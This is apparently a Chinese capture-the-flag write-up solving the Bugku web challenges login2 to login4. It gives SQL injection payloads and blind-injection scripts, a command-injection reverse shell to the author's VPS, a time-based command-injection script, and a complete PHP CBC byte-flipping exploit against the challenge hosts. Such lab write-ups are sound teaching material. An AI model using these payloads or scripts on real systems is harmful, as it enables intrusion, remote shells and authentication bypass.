Bugku Login
bugku Web题login1~4的writeup。
目录
login1
login2
题目链接:http://123.206.31.85:49165
响应头中有个tip,base64解码之后内容如下:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
有了源码就很简单了,结合题目提示中的union,采用如下payload:
"username=balabala' union select 1,null#&password[]=olaola"
或者
"username=balabala' union select 1,md5(1)#&password=1"
登陆成功后来到了一个apache进程监控系统,可以查看一些日志信息。执行框除了提供grep的参数外,如题目提示,是存在命令执行的,只不过不会返回执行结果,但通过输入11;sleep 3
可以发现响应的延迟,由此来确定存在命令执行。
这里我们就可以有两种思路,反向shell和基于时间的盲注。
反向shell
上图中我们也可以看到两位老哥留下的“犯罪记录”。
先在自己的vps上使用nc,进行监听,我选择2233端口:
nc -lvp 2233
然后在执行框内输入
11;bash -i >& /dev/tcp/the_ip_of_my_vps/2233 0>&1
即可反弹shell,查看flag。
时间盲注
反向shell虽然简单,但不适用线下赛的闭网环境。取而代之,我们可以结合sleep命令,进行时间盲注,与sql注入同理。
脚本如下:
time_injection.py 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests if __name__ == '__main__': login2_session = requests.Session() login2_session.proxies={'http':'127.0.0.1:8080'} login_url = 'http://123.206.31.85:49165/login.php' apache_url = 'http://123.206.31.85:49165/index.php' for i in range(0,100): for j in range(33,126): # get directory c = '1;list=`ls`;if [ ${{list:{index}:1}} = {char} ];then sleep 2;fi'.format(index=i,char=chr(j)) # get flag # c = '1;list=`cat fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt`;if [ ${{list:{index}:1}} = {char} ];then sleep 2;fi'.format(index=i,char=chr(j)) data1 = { 'username':"neko' union select 1,null#", 'password[]':'1' } data2 = { 'c':c } login2_session.post(login_url,data=data1) try: login2_session.post(apache_url,data=data2,timeout=2) except requests.exceptions.ReadTimeout: print(chr(j), end='') break
再切换下代码11和13行的变量c,即可获取到flag。
login3
题目链接:http://123.206.31.85:49167
初步探测
首先尝试登陆,发现有两种错误提示:
由此可以推测,后台用户名和密码是分开查询的,并且这两种返回值将是我们布尔盲注的判断依据。(用户名admin是存在的,即对应password error的结果)
一番测试后发现过滤了不少东西,关键的有空格、逗号、等号以及
and
。对此,可以有以下应对措施:- 使用
()
在一定程度上避免空格的使用 - 无逗号注入不是问题
- 使用按位异或运算符
^
来避免and
的使用 - 改变判等逻辑,使用
<>
替代=
(这一点不是必要的)
在构造初步的payload之前我们现在看一下mysql关于where条件句的一个特点:
mysql> select username,password from users; +-----------+-----------+ | username | password | +-----------+-----------+ | lawless | lawless | | admin | admin123 | +-----------+-----------+ mysql> select password from users where username=0; +-----------+ | password | +-----------+ | lawless | | admin123 | +-----------+
可见,当where条件是和数字
0
的判等时,此条件并无约束力。由此,回到这道题目,我们可以通过异或运算,使我们提供的用户名在数据库中被解析为数字
0
,这样后台查询语句就一定可以查询得到用户名,然后在密码判断后返回给我们password error!
的错误提示,反之,若解析结果不为0
则会得到username does not exist!
的错误提示。payload1:
0'^0#
(以下payload均指用户名,密码随意),这条payload得到的结果是password error!
,由此验证上述思路。- 使用
注入
我们可以结合脚本,使用payload:
0'^length(database())^8#
和0'^ascii(mid(database()from(1)))^98#
来分别爆破数据库名长度及库名,得到库名为blindsql
,但这好像并没什么用,因为information
也被过滤了,无法进一步查询到表名。看网上各位的wp到这一步都是猜表名和字段名,对此我也没什么好说的,使用
0'^((select(count(password))from(admin))>0)^1#
可以验证表名为admin,字段名为password。当然在此之前应该先猜表名,确定表名后在确定字段名。得到表名和用字段名后就可以爆破密码啦,是一条md5值(被大家玩成付费的了),使用用户名(admin)和破解后的密码登陆即可查看flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class Login3(object):
def __init__(self):
self.url = 'http://123.206.31.85:49167/index.php'
self.data = {
'username': '',
'password': '123456'
}
# get length(database())
def get_dblen(self):
for i in range(1,40):
self.data['username'] = "0'^length(database())^{length}#".format(length=i)
if len(requests.post(self.url, self.data).text) != 830:
print('len(database()) =', i)
return i
# get db name
def get_dbname(self):
db_len = self.get_dblen()
db_name = ''
print('db name: ', end='')
for i in range(1, db_len+1):
for ascii_char in range(21, 127):
self.data['username'] = "0'^ascii(mid(database()from({start})))^{char_num}#".format(start=i,char_num=ascii_char)
if len(requests.post(self.url, self.data).text) != 830:
print(chr(ascii_char), end='')
db_name += chr(ascii_char)
break
print()
return db_name
# get pwd
def get_pwd(self):
len_pwd = 0
for i in range(1,40):
self.data['username'] = "0'^length((select(password)from(admin)))^{length}#".format(length=i)
if len(requests.post(self.url, self.data).text) != 830:
len_pwd = i
print("pwd length:",len_pwd)
print("password: ", end='')
for i in range(1, len_pwd+1):
for ascii_char in range(21, 127):
self.data['username'] = "0'^ascii(mid((select(password)from(admin))from({start})))^{char_num}#".format(start=i, char_num=ascii_char)
if len(requests.post(self.url, self.data).text) != 830:
print(chr(ascii_char), end='')
break
if __name__ == '__main__':
login3 = Login3()
login3.get_pwd()
login4
题目链接:http://123.206.31.85:49168
一个简单的登陆界面,除了用户名为admin
时不让登外,其他用户名密码随便输都可以登录。
分析登录响应头可以看到如下关键信息:
cookie
中包含了两个参数iv
和cipher
,很好理解,这里的iv
正是CBC中的初始向量initialization vector
,cipher
也就是密文了。
但这些信息远远不够,毕竟我们对加密内容一无所知。所以,这也算是一个潜规则,所谓CBC字节翻转攻击的题目,往往伴随着源码泄露。
或猜测或扫描我们可以在网站根目录下找到一个vim异常关闭产生的备份文件.index.php.swp
,下载下来恢复后得到如下源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});
$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>
理理代码逻辑:
首先正常访问、登录(用户名admin禁止登录)后,由服务器设置cookie
和session
信息,并跳转到Hello界面。这里有两点:
cookie
内容cipher=urlencode(base64_encode(Encrypt(serialize(array('username'=>$username,'password'=>$password)))))
加密方式为AES-128-CBC
。iv=urlencode(base64_encode(CBC的初始向量))
session
要求我们后续使用脚本实现时要注意保持会话。
其次若服务器检测到客户端请求头中的session信息,则无需用户登录,服务器获取cookie
信息,进行密文解密,抽取用户名信息,设置session
,跳转到Hello界面。这里关键在源码中check_login()
函数,该函数解密cookie
中cipher
信息得到明文,然后反序列化明文来获取用户名,若反序列化失败则返回该明文的base64编码,这一点是CBC字节翻转攻击得以实现的关键。
有用信息大致就是这些,接下来是攻击思路:
我们先从CBC说起,CBC即Cipher Block Chaining(密码分组链模式),是分组密码的工作模式之一。原理较为简单,加解密过程如下图所示:
其中IV为随机的初始向量,每个分组长度为128bit(16字节)。
现在我们来考虑明文P的前两个分组P1和P2的加解密情况。
加密过程: 解密过程:
这一题中首先以用户名admi0
密码123456
登录,可以得到明文P="a:2:{s:8:"username";s:5:"admi0";s:8:"password";s:6:"123456";}"
的密文C(即cipher
)。接下来如果我们能够通过修改密文C,使得明文P中的admi0
变为admin
即0
改为n
,就可以顺利拿到flag,注意到0
是在第二个明文分组(16字节一组)P2中的,所以我们需要改变的其实就是P2。这一过程便是CBC字节翻转攻击,至于怎么翻转的,且看下文。
关于CBC字节翻转攻击:
由上述原理对应到如下攻击过程:
- 登录获取cookie中的cipher和iv
- 字节翻转计算出new_cipher # 公式(1)
- 向服务器发送包含new_cipher和iv的cookie
- 服务器解密后反序列化失败返回新的明文new_plain # 公式(5)
- 根据new_plain、原明文plain、原iv计算出new_iv # 公式(6)
- 向服务器发送包含new_cipher和new_iv的cookie,获取到flag
上述过程手工实现起来略有繁琐,需要细心点。写个脚本可以加深对这一攻击过程的理解。
因为涉及php的序列化,python脚本不如php脚本来的方便,我的解题脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
class Login4{
private $cookie_path = './cookie.txt'; # 会话cookie保存位置
private $url = "http://123.206.31.85:49168/index.php";
private $params = ['username'=>'admi0', 'password'=>'123456']; # 登陆post数据
private function cookie_process($operator, $info_array=''){
if ($operator == 1) { # 提取cipher和iv
$cookie = file_get_contents($this -> cookie_path);
preg_match_all('/PHPSESSID.*|iv.*|cipher.*/', $cookie, $matches);
$results = ['PHPSESSID' => substr($matches[0][0], 10), 'iv' => substr($matches[0][1], 3), 'cipher' => substr($matches[0][2], 7)];
return $results;
}
elseif ($operator == 2) { # 根据传入的cookie信息,覆写cookie文件
$keys = array_keys($info_array);
$cookie = "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[0].chr(9).$info_array[$keys[0]]."\n";
$cookie .= "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[1].chr(9).$info_array[$keys[1]]."\n";
$cookie .= "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[2].chr(9).$info_array[$keys[2]]."\n";
file_put_contents($this -> cookie_path, $cookie);
return 0;
}
}
function step1_login(){
$ch = curl_init();
$options = array(
CURLOPT_URL => $this -> url,
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => http_build_query($this -> params),
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_COOKIEJAR => $this -> cookie_path
);
curl_setopt_array($ch, $options);
curl_exec($ch);
return 0;
}
function step2_getNewPlain(){
// clac new cipher
$info = $this -> cookie_process(1);
$cipher = base64_decode(urldecode($info['cipher']));
$plain = serialize($this -> params);
$p1 = substr($plain,0,16);
$p2 = substr($plain,16);
$c1 = substr($cipher,0,16);
$c2 = substr($cipher,16);
$c1[13] = $c1[13]^$p2[13]^'n';
$new_cipher = urlencode(base64_encode($c1.$c2));
$info['cipher'] = $new_cipher;
$this -> cookie_process(2, $info);
// get new plain
$ch = curl_init();
$options = array(
CURLOPT_URL => $this -> url,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_COOKIEFILE => $this -> cookie_path
);
curl_setopt_array($ch, $options);
$handle = curl_exec($ch);
preg_match('/\(\'.*\'\)/', $handle, $matches);
$new_plain = base64_decode(substr($matches[0],2,-2));
return $new_plain;
}
function step3_getFlag($new_plain){
// calc new iv
$plain = serialize($this -> params);
$info = $this -> cookie_process(1);
$iv = base64_decode(urldecode($info['iv']));
for($i=0;$i<16;$i++){
$iv[$i] = $iv[$i]^$new_plain[$i]^$plain[$i];
}
$new_iv = urlencode(base64_encode($iv));
$info['iv'] = $new_iv;
$this -> cookie_process(2, $info);
// get flag
$ch = curl_init();
$options = array(
CURLOPT_URL => $this -> url,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_COOKIEFILE => $this -> cookie_path
);
curl_setopt_array($ch, $options);
$handle = curl_exec($ch);
preg_match('/SKCTF{.*}/', $handle, $matches);
echo $matches[0]."\n";
unlink($this -> cookie_path);
return 0;
}
}
$login = new Login4();
$login -> step1_login();
$new_plain = $login -> step2_getNewplain();
$login -> step3_getFlag($new_plain);
?>
运行结果: